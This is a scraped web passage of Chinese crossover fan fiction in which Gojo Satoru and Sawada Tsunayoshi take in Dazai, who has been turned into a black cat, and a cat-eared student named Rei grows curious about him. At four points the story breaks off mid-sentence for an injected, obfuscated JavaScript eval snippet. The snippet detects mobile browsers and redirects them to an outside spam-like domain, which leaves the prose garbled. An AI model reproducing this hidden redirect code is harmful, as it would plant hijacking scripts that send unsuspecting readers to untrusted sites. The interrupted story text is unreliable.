在这里经历一个月左右的时间后,五条悟基本确认,这个世界很古怪。 不同城市里有不同画风的建筑物,比如天空竞技场和图塔,这两座建筑物看起来简直是不同时代的东西,唯一的相同点,大概是它们都很高,高得独树一帜。 同时,自称恶魔的物种堂而皇之地出现在人类的视线里。 至于那句广告语【标签无所不能,无所不为】,大体上倒也说得没错,至少是在这个世界里,标签高于所有体系,所有能力,那是一种无视逻辑,无视科学,仿佛刻在世界里的规则一类的,只要符合条件就会生效的东西。 每一个人通关标签副本后得到的标签几乎都不一样,据说和个人的经历以及副本通关表现有关。他们会经历的标签副本也是个性化的,这个世界上几乎没有一模一样的标签副本。 这个世界也没有咒灵,所以现在的他已经不是咒术师了,不必满世界忙忙碌碌地击杀咒灵,被总监部使唤得团团转,连一点个人时间都没有。 如果是以前,就算是捡到一只猫,他没有那个闲情逸致,也没有那个美国时间去养它。 他还记得,在读咒术高专那一年,去见夏油杰的路上,他曾经遇见过一只猫。 那天也在下雨,那只猫孤零零地呆在花坛边,半拉身子藏在草丛里,黄白相间的皮毛打湿了不少,探出来的脑袋更是整个都被雨浇透了,也不知道找个能遮住全身的地方躲雨,笨呼呼的。 他举着伞路过,看见了这只笨猫,可能是好奇猫会不会害怕地溜走,也可能是一时同情心发作,原因他现在已经想不起来了,只记得他当时蹲下来把伞撑在猫的头顶,猫迟疑了一会儿后,抬起头,一双圆圆的大眼睛望向他。 猫没有逃跑,他也没有离开,他和猫就那样一起度过了下雨的那一小段时光。 雨过天晴后他才离开,为此迟到了大半个小时,还被杰好一阵埋怨。 现在,他已经记不清那只猫长什么样了,十年过去,那只猫可能都已经死了。 杰,也已经离开了。 如果杰存在的是这样一个没有咒灵的世界的话,他会不会……不会在临死前说出那句话? 电视那头代表结束的音乐响起,五条悟回过神来,屏幕上,小鹿恶魔和电视恶魔都已经消失不见,只留下两把空荡荡的椅子和附有通缉令的桌子。 这两位主持人一向只有早退的份,绝没有到点了还不走的情况。 音乐还没放完,画面停留在原地,突然,一阵微风吹过,通缉令被吹了起来,露出正面一个青年的剪影和通缉两个大字。 青年侧着身体,外套一件黑色风衣,里面看不清楚,半截脖子和露出的手臂上都绑满了绷带,身材看起来有点过于消瘦。 他拥有一头黑色的短发,发尾微微带点自然卷,头发一侧别着一个造型生动,花纹漂亮的半脸狐狸面具,相片上的他抬起一只手按在那个面具上,似乎正准备往下拉,但刚好察觉到有人在拍照,于是转头看了过来。 画面就定格在这一幕,因此他们能看到这人的大半正脸,面容堪称隽秀,但唇色很淡,透着不健康的苍白,两只眼睛格外不同,左边是黄昏一般的鸢色,右边是深渊一般的黑色。 而且看过来的那个眼神,有点说不出来的……讨厌。 似乎有无穷无尽的恶意,要从他的眼里倾盆而出,又像是一泊粘腻的泥沼,迫不及待地要拉人下去淹死。 即使是清风明月般的好相貌,一旦搭配上这深渊一般的眼神,整个人也阳光不起来了。但,再看一眼,似乎又有不同,哪里不同呢?五条悟仔细琢磨了一会儿,突然间灵光一闪。 坠落!他想到了这个词,越琢磨越觉得恰如其分。 ——他在坠落,在向着无底深渊一路往下坠。 是叫太宰治?五条悟摸了摸下巴,在这个频道被通缉,这家伙这一下可算是全世界出名了,估计接下来很快就会被抓到吧,虽然小鹿恶魔不屑一顾,但奖金丰厚到这种程度,大概很多人都会动心,不介意客串一把赏金猎人。 如果是他遇到这个人,想起刚刚看见的那个眼神,五条悟皱了皱眉,还是别遇见吧。 音乐慢慢播到尾声,他放下黑猫,站起身,到杂物室找到一个还没被扔掉的纸箱子,拂去灰尘,往纸箱里塞了一床柔软的棉花垫子,铺满整个纸箱底部。 一个简陋又温暖的猫窝就此成型。 拿着纸箱,他走到自己的房间,按下电灯开关,在满室明光中,将箱子安置在靠衣柜一侧的墙角处。 再次走出房间,他端起睡在客厅沙发上的小猫,轻手轻脚地把睡着的小猫放进准备好的猫窝,离开前还在它的身上铺了一条新毛巾当被子。 出了房门,轻轻合拢门扉,五条悟走到沙发边,怀抱双臂,像每一个负责任的班主任一样询问道:“纲吉,你的作业都写完了吗?” “五条老师……”沢田纲吉没有半点刚刚制止打闹时的凌厉之色,像每一个被问到的学渣一样支支吾吾,不消片刻便几乎满头大汗,“那个,那个,数学作业我还没写完,有几道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506837|186101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大题不会做。” 其实是一大半都不会做,但他不好意思说出口。 “我留的作业不是很简单吗?”五条悟一出口就是学神的感慨。 哪里很简单啦!比他以前的老师留下的作业难多了,但不知道该让他高兴还是悲伤的是,不管是哪种程度,题目他都不会做。 100分的考题和70分的考题,对于只能考20分的学渣来说,没多大区别。 有句话怎么说来着?——爱人会背叛你,朋友会欺骗你,但数学不会,不会就是不会。 沢田纲吉不禁在心底流下宽面条泪。 “我今天晚上有空,要不要让我来辅导你学习?”五条悟关心地问了一句。 “虽然我很想说请辅导我,但是,一想到上次五条老师对我的辅导成果……”说到这里,沢田纲吉的表情几乎死掉了,好半响才艰难地吐出几个字:“还是不要了,谢谢老师的好意。” 学神和学渣是不相容的,在学神的世界里,AA乘以BB等于CC,几乎不需要思考,而在学渣的世界里,请先告诉我,A乘以B等于多少?还有,到底要套用哪个公式? “既然这样,那你只能自学了。”五条悟无奈地摊开手,“但你的学习成绩老是提不上去也不是办法,什么时候我给你请一个家庭教师,专门辅导你学习吧?” “家庭教师……”沢田纲吉的眸子颤了颤,一个熟悉到骨子里的名字不由自主地自他嘴里吐出来:“Reborn。” 他最后说出来的那个词声音很轻很轻,但五条悟的听力比较强,夜晚的房间又很安静,还是让他听见了:“Reborn?是你以前的家庭教师吗?” “是的,”沢田纲吉挺直脊背,真心实意地夸道:“他是一个很好很好的老师。” “但我不是一个很好的学生。”说到这里,他抿了抿嘴,慢慢低下头,那垂下的头颅仿佛有千斤重,压得他几乎抬不起来,“我……” 时间在死寂中过去几分钟,他才再次张开嘴,唇瓣颤抖着说道:“我让他失望了。” 五条悟看了脑袋差点要低到地心去的人一眼,“虽然不清楚你和你那个老师之间发生了什么事,但是,在这一个月的时间里,我已经很清楚你的努力程度了哦,你别过于苛责自己啦。” “谢谢你的安慰,五条老师,我……”纲吉吸了吸鼻子。 五条悟拍拍他的肩膀,“有的话,留到和他见面的时候,你再说吧。” “可是,我不知道我还能不能回去,我……”纲吉面露痛苦之色,“我可能,可能再也见不到我的家人和朋友了。” “别丧气,总会找到办法的。”五条悟挠了挠头,这种安慰性质的话从他嘴里说出来,他自己都觉得没什么用处,想了想,他眼神一亮:“不是说标签无所不能,无所不为吗?” “你相信这句话吗?五条老师。” “嘛,姑且……信一信。” 身处困境,总要给自己找一个希望,才不至于完全丧失前进的动力。 他是这样,纲吉也是这样。 沉默静静降临,五条悟忽然转身,抬脚走到自己的房门前,目的明确地低下头,正好对上从门缝处露出的一只眼睛。 5. 绝技平地摔 如同恐怖片误入一般的对视维持了片刻,对视的两位谁都没有后退,片刻后,门后那只圆圆的鸢色眼睛眨了眨,似乎被传染了一样,五条悟也眨了眨眼,凝重的气氛顿时被打破。 五条悟干脆打开房门,蹲下身,拉近和黑猫之间的距离,“你在偷听?怎么不好好睡觉?” 因为不是全黑就睡不着。 刚刚在电视前睡着的那刻,太宰自己都有点意外,这具小猫的身体不比成年人,在经历了一连串事情后,体力耗尽,本能迫不及待地要求他休息。 抵不过身体本能,他被迫陷入沉睡,但是没过一会儿,灵魂自带的习惯就让他迷迷糊糊地清醒过来。 一醒过来就睡不着了,于是太宰从猫窝里爬出来,刚走到门口的时候恰巧听到外面的谈话声,不好打扰,他便蹲在门边,没有打开门出去。 两个人的密谋不需要第三只猫的加入。 这会儿门被五条悟打开,太宰猫没理睬问话的人,堂而皇之地越过他,迈着灵巧的步伐走出去。 但没走几步,他就又被一把抓了起来,抓住他的那个人还发出了得意的笑声:“真是一只傲慢的小猫咪啊,嘿嘿,可惜你逃不出我的手掌心~” 说着还搓了一把他的脑袋,头顶的猫毛都差点被薅掉几缕。 黑猫二话不喵,狠狠一口咬在他的手掌上。 “嗯?在恩将仇报啊小猫咪~”五条悟站起来,松开捏着黑猫的手,甚至还甩了甩。 四肢垂下,死命不放嘴的太宰猫仅靠牙齿的力量吊在他的手掌上,像是被风吹动的,挂在绳上的晴天娃娃一样晃来晃去。 刚刚收拾好心情就见到这一幕,沢田纲吉慌慌张张地扑过来,喊着“五条老师,你别玩了!”双手摊开,放在猫下面,眼睛紧盯着上方,准备随时接住可能掉下来的猫。 “喂纲吉,你怎么偏心猫,不偏心五条老师我,我可是一直被这只黑不溜秋的小猫咬着啊,都被咬出血了你看!” 五条悟刚打算把吊着黑猫的手送到纲吉面前,就在这一刹那,黑猫松开嘴,任由身体往下掉,掉到一半时华丽丽地来了个灵巧的全身翻转,身体调整成正常跃下的姿势,踩着纲吉的手当跳板,再往下一跳,安全着陆。 着陆后,黑猫蹲坐下,砸吧了下嘴,当着两人的面,侧过头,呸呸呸了好几下。 “你还嫌弃上了?!!”看到这一幕的五条悟眼角一抽,也不嚷嚷着让纲吉看他的手了,转而把手使劲往黑猫面前伸,直伸到他眼皮底下,嘴里大声嘟嘟囔囔:“没良心的黑猫,我要把你丢出这个家。” 黑猫侧目,面前白皙的手掌一侧,半圈碗形的红色咬痕清晰浮现,几滴血液在他的注视里从咬痕里溢出,一滴滴滚落,摔在地上,绽出朵朵血花。 还挺好看的,定定地欣赏了一会儿自己的杰作,半点也不带愧疚的黑猫移开眼神,在对于他来说颇有点广阔的客厅转了一圈,最后在中心地带停下,借力三跳两跳,跳到茶几上。 轻轻地呼出一口气,黑猫以一个优雅的姿势蹲坐下,无师自通地蜷起一半脚掌,随后伸出前爪,按在茶几上一个摊开的笔记本上。 “我的作业!别撕啊!我才刚写到一半。”纲吉的悲鸣声从远处传入他耳中。 他又不是真的猫,没想磨爪子,太宰猫漫不经心地在作业本上按了按。 可是看着黑猫按来按去,一双鸢色眼睛闪闪发光的模样,沢田纲吉哪里敢把跃跃欲试的猫科生物往好里想,急忙跑过去拯救自己的作业本。 就在临到时,不知怎么的,纲吉左脚绊右脚,脑袋磕到茶几上,正好把蹲在上面试探着伸爪子的太宰一头撞飞了出去。 完全没有想到自己还要防备这种奇葩招数,被一记头槌撞到脑袋,啪唧一下撞飞的那一刻,太宰的思绪立刻陷入无意识的昏沉,换句话说,他被撞断片了。 黑猫在空中翻滚一圈,四脚朝天地往下掉,眼见着再不自救就要摔成一滩猫饼,但到这个时候他的意识都还没有恢复清醒。 幸运的是,现场还有第三个人在,只听一声长长的、有点刺耳的呲——,黑猫的落点下方,一张单人沙发出现在那儿,不早不晚,正巧接住掉下来的黑猫。 距离黑猫大概二十多米外,五条悟收回长腿,脚尖点在地上,随意扭了几下脚脖子。 刚刚瞧见猫飞出去,他立刻猛力踢了一脚附近的单人沙发,那道刺耳的声音正是沙发底和地板摩擦导致的。 黑猫掉到沙发上,往上弹了两下后,趴在那儿不动了,他似乎还没恢复清醒。 另一边,抬眼瞧见自己意外制造的空中飞猫事件,沢田纲吉的脸连带着脖子刷地一下全白了,白得几乎能看见血管。 顾不上撞得有点痛的脑壳,他立刻爬起来,向着黑猫飞奔过去,才跑出一步就看见黑猫掉到沙发上。 幸好没有真的搞出一条猫命。 他稍稍松了一口气,转头对着五条悟诚恳地道了一声谢,随后放慢速度,小心翼翼地奔到沙发前,一脸愧疚地对着沙发上四爪摊开的黑猫鞠躬道歉:“对不起对不起,撞到你真的对不起。” 这次他总算是没摔了。 远在另一边的五条悟大步走到沙发前,上半身往前弯,脸凑得极近,食指一下一下地戳着黑猫的脑袋:“没死吧?” 这小家伙看起来可真是脆弱啊,一个小意外就差点要了它的命。 眼前似乎有一圈星星在转悠,脑门上还有烦人的东西戳来戳去,太宰猫摇摇晃晃地翻身爬起来,甩了甩脑袋。 视线聚焦后骤然看见两张脸,一左一右戳在面前,一张近在咫尺,另一张离他大概一掌之距。 左边,是性格恶劣,说话不饶人的五条悟;右边,是自带绝技平地摔,坑人又坑己的沢田纲吉。 ——哪个都不是善茬。 察觉到自己来了一个陌生世界,本想暂时留在这里,和这两个人合作打探消息的心思突然淡下来了呢。 而且,五条悟离得太近了,这家伙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506838|186101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是自来熟吗? 太宰猫不适地眨巴了一下鸢色的眼睛,立刻往后退开两步。 目光转了一圈后,他跳上沙发扶手,再跳到地板上,像是躲瘟疫一般远远地绕开两人。 穿过客厅,走进西侧五条悟的房间,主动跳进五条悟给他建造的猫窝,前爪用力合上纸箱的盖子,在一片黑色的阴影中钻进毛巾被子里躺好。 空间狭小的纸箱子,身体底下柔软的垫子,头顶细微的缝隙,以及透过缝隙照进来的几缕暗淡的光线,这几点加在一起,有点像是16岁时他住过的集装箱。 这个奇妙的巧合,稍微……让确认自己来到新世界的太宰放松了一点。 “不理我们了呢~”待在客厅目送黑猫哒哒哒离开的五条悟吹了一声口哨,“有个性。” “怎么办,被讨厌了吗?”旁边的沢田纲吉恨不得以头抢地。 “来日方长嘛~”五条悟抬起头,窗外的夜空漆黑一片,其上只有几颗暗淡的星星闪烁。 就算不是同一个世界,照耀在他们头顶的天空却也同样广阔无际。 “不早了,我去洗漱,你也早点睡哦~”移开视线,他转身朝浴室走去,独留下身后纲吉骤然响起的悲鸣:“我的作业还没写完啊!” 翌日,吃完早饭后,准备出门的五条悟突然在玄关处停下,思考了一会儿,和全副武装,同样打算出门的纲吉打了个招呼,让他先去学校。 他自己则折返回房间,捞起还在猫窝里熟睡的黑猫,塞进一个刚找出来的灰色猫包里,带着他一起走出大门。 早晨的阳光很明媚,猫包里的黑猫在熟睡,突发奇想带上一个猫包的五条悟在抄近路。 这是他最近发现的,一条从家里到学校最快的路。 首先,花五分钟时间去到附近一座佛塔,然后再花三分钟时间爬到塔顶,站在空旷的塔顶上,利用咒术「苍」的衍生用法长距离快速移动,就可以咻地一下,立刻到达学校最高的那座教学楼的天台上。 可以省下不少赶路时间,实乃居家旅行必备良药。 太宰猫还在一无所知地沉睡,殊不知他已经被五条悟带出去亮相了。 昨晚太宰闭着眼睛躺在猫窝里装睡,打定主意等天亮就撇开这两人,自己独自一个出去打探情报,主要目标是找到那只把他带过来的布偶猫,次要目标是搞清楚这个世界是怎么回事。 他猜如果自己想回去原本的世界,线索应该是着落在那只布偶猫身上。 独自思量了好一会儿,等到夜深人静的时候他才真正睡着,到现在为止满打满算只睡了三个小时左右。 他平时的入睡时间一向很短,本人警惕性又很强,被人这么一顿穷折腾,按照人身时的习惯,他早该醒了,但不知道是不是变身成猫咪形态的原因,这会儿他还没清醒过来。 而等他再次睁开眼睛的时候,看到的就是碧空如洗的天光,以及身前堆成一座高山,比他还高一头的供品。 太宰:??? 6. 不准摸肚子 身下躺着的是一个柔软的圆形垫子,没见过的样式,不是昨晚睡的那个,垫子下是一个白色花岗岩高台,目测大概有一米四那么高。 自拂过身体的微风中,他清晰地分辨出了泥土的气息和草木的芬芳,两者鲜明地交杂在一起,这具猫身的嗅觉比人身时更敏锐。 光线明亮却不刺眼,以这个季节来算,应该是早上十点左右,没有哪一边非常暗淡,说明周围没有比这里更高的东西能挡住射过来的光。 背部暖融融的,他在阳光下待了一段不短的时间。 刚醒过来,这一系列推断就自动在太宰的脑海里形成,不超过半秒的时间。 抖了抖毛茸茸的耳朵,太宰猫抬起歪在垫子上的脑袋,慢吞吞地爬起来,拉长身体伸了个懒腰,嘴巴微张哈了口气。 身体一动,他就感觉自己的脖子上似乎有什么东西束缚在那里。 低头看一眼,是一条红绳,绳上还系了一块成年人两个指节粗细的方形木牌,不用猜,肯定是我行我素的五条悟趁他睡着时干的,那个性格一看就很老好人的沢田纲吉干不出这种事情。 抬起爪子稍微拨弄了一下木牌,太宰猫蹲坐下,透过堆在面前的零食高山间的缝隙,往前张望。 一群身穿深蓝色校服的学生,有男有女,正排着队站在他面前,再远一点的地方,一栋栋教学楼林立,视野的尽头,白色的围墙若隐若现。 这里是学校,看学生们的年纪,是国中学校(也就相当于中国的初中学校)。 “拜猫神,请猫神保佑我期末考试不挂科,特别是五条老师教的数学,拜托拜托!” 听到声音,黑猫转回视线,说这话的是一个普通长相的人类少年,似乎和纲吉同样年纪,站在队伍最前头。 他放下一袋红豆面包,双手合十,一脸虔诚地再三鞠躬,似乎真的把他当成了他口中那可以实现愿望的神明一样。 猫神是个什么神?卖萌的神……? 等等,他再次抬起爪子,把系在脖子前的木牌翻转过来,木牌上果然刻了几个字——猫の神。 这个世界上的猫咪知道它们多了一个猫の神吗……? 木牌上的字给涂成了红色,应该是用水彩笔涂上的,至于水彩笔,大概率是从学校哪个老师那里借来的,五条悟本人看上去不像是会用水彩笔的类型。 字体歪歪扭扭的,看起来是第一次在这么小的木牌上刻字,动作不太熟练。 不过即使字很丑,也堂而皇之地挂在他的脖子上,说明五条悟这个家伙脸皮很厚,不是很在乎外界对他的评价。 在心里做完这一系列吐槽加简单推理用了太宰大概两三秒钟,再抬头时,面前鞠躬的人类少年已经直起身体,从队列最前面离开了。 排在他后面一个长相漂亮的少女踏前一步,顶替了他的位置,朝他看了过来。 少女的头发很有特色,长至腰间,顺直地披在脑后,一头长发从中间位置一分为二,上半部分是黑色,下半部分是如同落雪一样的纯白。 脸上嵌着一双圆杏核状眼睛,眸色是像碧玉一样翠绿,更有特色的是,她的头顶长着一双和猫一样的黑色三角形耳朵。 太宰确信那不是头戴式猫耳饰品,是真正的猫耳朵,微风吹拂时,猫耳朵上细小的绒毛也在摇晃。 突然,那双猫耳朵不经意地抖动了一下,惹得他的视线跟着往上偏斜几分,站在他面前的少女似乎是察觉到了这束视线,竟然像是看稀奇一样瞅了他好几眼。 随后,她在堆成高山的供品上再放下一袋小鱼干,压得它不堪重负地吱呀吱呀地直叫唤,其人却对此视而不见。 双手合十,微微弯腰,猫耳少女闭上眼睛,状似虔诚地说道:“拜猫神,请猫神保佑五条老师下节课也要准时过来上课。” 直起身体,放下手,猫耳少女微微侧转身体,看样子是要走了,但在准备走的前一刻,她突然对着他俏皮地眨了一下眼睛,“我叫玲。” 说完后,没再多逗留,她离开了排在太宰面前这条长长的队伍。 转身的那一刻,太宰能够看见,自称玲的猫耳少女背后,尾椎骨部位,一条长长的黑色猫尾巴穿过校服伸了出来,随着她走路的步伐规律地摆动。 尾巴靠近尖端的位置系了一个红色蝴蝶结,蝴蝶结下绑着一个小巧的银色铃铛,正在发出清脆的叮当声,叮叮当当的声音组成一首渐行渐远的美妙乐曲。 望着她,太宰无意识地抬起前爪,自耳背抚过,头顶右侧那只三角形小耳朵在他的动作下弯折几乎九十度,随后在不到一秒的时间内再次立起来。 下一个学生刚上前一步,不远处传来了五条悟的声音,声音逐渐靠近,在距离他一米远的地方停下:“我家的猫醒了,散了散了,接下来的祈求都不作数哦~” 一米九的大高个站在他右前方,修长的背影完全笼罩住他,把从头顶照过来的阳光挡得一点缝隙也没留下。 五条悟懒洋洋地挥了挥手,后面排成长龙的学生们顿时嘘声一片,骚动和抗议紧随其后,却见这人仿佛没听见一样不为所动,守在最前头充门神。 学生们面面相觑,偷偷地互相甩眼神,结果却是谁也没动一步,似乎拿挡在前面的五条悟全无办法。 几分钟的僵持时间过去,排在最后头的人类少年终于忍不住,一脸自认倒霉地离开。 有了第一个,第二个和第三个动摇的也就不远了,果不其然,排成长龙的学生们三三两两地走开,短时间内便散了个精光。 人都走光了后,门神五条悟才慢悠悠地回转身体,太宰这才发现,今天的五条悟在脸上戴了一副小圆眼镜,镜面全黑,一点都不透光。 也不知道这人戴着这么一副黑色眼镜,还能不能看见前面的路,怕不是要一头撞到电线杆上哦,他在心里腹诽。 还不知道黑猫正在诅咒他,五条悟推了推鼻梁上下滑的眼镜,视线在黑猫面前的供品堆里转了一圈,最后落在其中一个咖啡色碗状布丁上。 拿起布丁,撕开包装袋,用布丁自带的塑料勺子舀了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506839|186101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一口,咽下去后他啧了一声,“不够甜。” 太宰猫顿时朝他投去一个鄙视的眼神,利用职务之便,搞出一个猫神的名头,哄骗学生为他提供供品,竟然还有脸挑挑拣拣! 不过这么点小零食也没什么值得哄骗的价值就是啦,看学生们祈求时对他说出的话,倒像是用他当借口,专门跑来收集学生们对他的教学意见。 咦惹,搞得这么迂回婉转,这家伙是闲得太无聊了吗? 顶着他变换个不停的视线,五条悟面不改色地把整个布丁吃掉。 吃完后他拍了拍手,撕开那袋猫耳少女供奉的小鱼干,弯腰,把小鱼干直递到黑猫面前,在他鼻子下左右来回晃荡,“你吃吗?” 奇异的香气弥漫在鼻端,刚醒过来,肚子已经被饿得扁扁的,收到此等诱惑的黑猫没有一丝迟疑,一口咬住小鱼干。 不吃白不吃。 “这下我们就是共犯了哦~”五条悟松开手,往自己嘴里丢了一根小鱼干,露出一个轻佻的笑容。 嚼着小鱼干的太宰假装听不懂人话,专心致志干饭——他只是一只猫啊,人怎么能指望猫来当他的共犯呢? 面前又伸来一根小鱼干,在心里大摇其头的太宰闻到香气,一点也不客气地咬住,细细咀嚼,慢慢咽下。 小鱼干慢慢消失在安静吃饭的猫咪嘴里,清晨的阳光洒在猫咪身上,给它镀上了一层模糊的金边。 等小鱼干完全消失在猫咪的嘴里,五条悟收回手,慢吞吞地从袋子里又掏出一根小鱼干,突然笑了起来,周身背景像是开满朵朵红花。 一喵不发的黑猫乖乖接受人类的投喂(上贡),这副仿若流动着阳光的和谐画面,大概给某人造成了误解吧。 五条悟单手撑在高台上,一翻身坐了上去,那双大长腿垂下来,脚尖离地面堪堪只剩下几公分距离,他捏着那包小鱼干,自己吃一根就给黑猫也喂一根。 和五条悟一起吃光一整袋小鱼干,再自己一个猫干掉一包蟹棒,在再次伸过来的芒果干面前,太宰摇了摇头,走到一边。 收回芒果干,五条悟拍掉掌心的碎末,侧过身体,伸出手,打算去摸黑猫的肚子,“吃饱了吗?” 却见黑猫浑身打了个激灵,整只猫横向跳开两步,以瞬移一般的速度飞快躲开他伸过来的手。 五条悟伸出来的手顿时僵在半路上,笑容也跟着一寸一寸慢慢裂开,这副避之唯恐不及的模样让他的人宠和谐幻想碎了一地。 片刻后,他改为握紧拳头,撇过头,恨恨地道:“刚吃了我的就翻脸不认人,没良心的黑猫!” 说完又强调一句:“我才刚喂了你一顿呢!” 太宰表示他一点也不愧疚。 猫可杀,不可摸,尤其是不能摸他的肚子,这是他做猫的原则。 看着黑猫这幅拒人于千里之外,凛然不可欺的模样,五条悟的眼神闪了闪,嘴角慢慢扬起一个邪恶的弧度。 他可从来不是一个大度的人,有仇当场就报才是他的行事准则。 7. 五条老师竟然还有这种爱好 “玲,千大人的庆祝宴时间已经定下,你什么时候回来?” 坐在宿舍床沿上的猫耳少女玲皱皱小巧的鼻子,将耳边的手机稍微挪远了一点,“我才不回去。” 电话那头的声音仍然清晰地传了过来:“玲,不要任性,我知道你不喜欢千大人,但是这可是最近族里最大的一件事,自从千大人显露出他的天赋,全族上上下下都高兴得不得了,我们都在为这件事奔走忙碌,你不来帮忙也就算了,庆祝宴会可不能不参加。” “可是……” “到时候还会有很多外来的客人,你身为大长老的弟子,一定是要出面接待外科的。” 听到对方提起大长老,那口堵在胸口的气顿时泄了下去,玲撇了撇嘴,捏着鼻子答应下来:“好吧,为了师傅,我会回去的。” 另一头的声音立刻高兴得上扬了一度:“那你什么时候回来?” “庆祝宴会定在了什么时候?”玲没有回答,反而问了另外一个问题。 “下周三,族里的准备工作才刚刚开始,大部分客人我们已经写好了请柬,今天就会发出去,但还有一些特殊客人,我们还没有确定是不是要请他们过来。” “大长老和二长老还为此吵了一架,他们两个谁也不认同对方的意见,搞得我们底下办事的也很是头痛。” “什么特殊客人值得师傅他和别的长老吵架?”玲有点好奇了。 “就是那个恶魔一族的……在【恶魔在召唤你】那个频道里出现的……啊……”对面的声音吞吞吐吐的,不过玲听她这么说,也明白了什么。 他们一族和恶魔一族算是毫不相干,只不过对方可比他们一族有名气且有出息多了,【恶魔在召唤你】频道面对全世界,小鹿恶魔和电视头恶魔说话那叫一个毫不客气,辛辣的讽刺也是信手拈来,说不好就会得罪什么人。 但他们俩还活得好好的,甚至事业干得风生水起,把【恶魔在召唤你】这个频道干到了官方第一,这不正说明了两恶魔的实力之强大吗? 实力差距对比如此悬殊,请这俩来,他们怕不是要羊入虎口。 “二长老在想什么啊……”玲脱口而出。 “这件事有大长老在,是不会成功的,我们还是别提二长老了。”对面的人点了一句,及时把即将往危险方向发展的话题刹住。 玲点了点头,想起对方看不见,嗯了一声。 “宴会如果定在这个星期,时间太过仓促,所以我们预计定在下周三,虽然说是预计,但如果没有出现大事的话,这个时间点应该是不会改了。” “这样啊,那我下周二回去。” “喂这个时间……” 安静的宿舍里,似乎快要冒出火来的声音戛然而止,玲把挂断的电话从耳边拿下,不等电话铃声继续响起,她长按关机键,关掉手机。 把关机的手机往桌上一扔,玲往后方倒去,两只手臂张开,身体呈大字型躺在宿舍的单人床上。 躺了大概半分钟,她翻了个身,改成侧趴姿势,没一会儿再次翻转身体,让身体对着另一侧。 在床上翻来翻去好几次之后,她突的坐起来,双手笼在嘴边圈成喇叭样,大声喊道:“好烦啊啊啊啊!” 窗外响起扑簌扑簌扇翅膀的声音,站在树上的好几只飞鸟拍打着翅膀,慌慌张张地逃向高空。 玲望着这些惊慌失措飞过她窗户的小鸟们,噗嗤一笑,笑过后却又皱起眉头,嘴撅得能挂油瓶。 呆坐了半晌,她站起来,来到卫生间,对着镜子整理好刚刚被自己弄乱的衣服和头发,走出宿舍。 这个时间点,正常好学生应该在上课,而不是一个人呆在宿舍里。 更何况,这一节课,是她期待的五条老师教的数学课。 早晨的祈祷效果不错,五条老师果然应约准时来上课了,怨念的是,她这边却有事要忙,打电话过来的那个族人是一向亲近她的表姐,难缠得很,不得到准话必然不会善罢甘休。 不好对她说重话,她只好耐着性子花半节课的时间应付过去,最后好歹还是给了她一个准确答复,约莫表姐是不会亲自过来揪她回去了,但她已是请了一下午的假,而且现在她也没心情去欣赏五条老师的美颜了。 不如找乐子去,说起来,五条老师带过来的那只黑猫颇有一点特殊之处,那种人性化的眼神,她只在族里的猫身上见过,而且早上它分明是看见了她隐形的猫耳朵,正常人类和正常猫咪可看不见。 因为这点好奇心,她从宿舍出来后就直奔楼梯,下楼,从女生宿舍楼出来,走到两百米开外的白色教学楼处,上四楼,猫着腰从一众教室下方穿过,鬼鬼祟祟地走到五条老师的办公室门口。 应该是在这里?五条老师不可能把猫带到课堂上去,那么他大概是把猫放在他的专属办公室里了吧? 五条老师的办公室是独立办公室,只有他一个人在那里办公,这个情报她早就掌握了,现在正好用上。 既然他去上课了,办公室应该是空着的。 玲紧张地左右观察一眼,空荡的走廊除了她之外没有一个人在。事不宜迟,她轻吸一口气,果断打开紧闭的房门,一闪身进入,反身合上门扉,背靠在门上。 背着五条老师干坏事,还真是有点太刺激了,玲拍着胸脯长长地呼出一口气,抬起头,观察室内的情况。 里头摆着一张制式办公桌和办公椅,办公桌上的文件凌乱堆叠,侧边贴墙放着一个书架,书架上的书稀稀落落,空着很多地方。 窗台前放了一盆绿植,叶子发黄打卷,焉了吧唧,她猜五条老师肯定没有认真照顾植物的心思,可能只是偶尔看到了就顺手浇浇水,所以这盆绿植才是现在这样一副半死不活的样子。 最惹人眼的,莫过于放在置物架上的灰色猫包,此刻那个猫包正在不停地抖动着,幅度剧烈,还不时撞到墙壁,间断发出沉闷的响声。 玲轻手轻脚地靠近猫包,透过猫包上的无色观察窗看去,早上才看见的那只黑猫正在里面剧烈挣扎。 它像是被缠了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 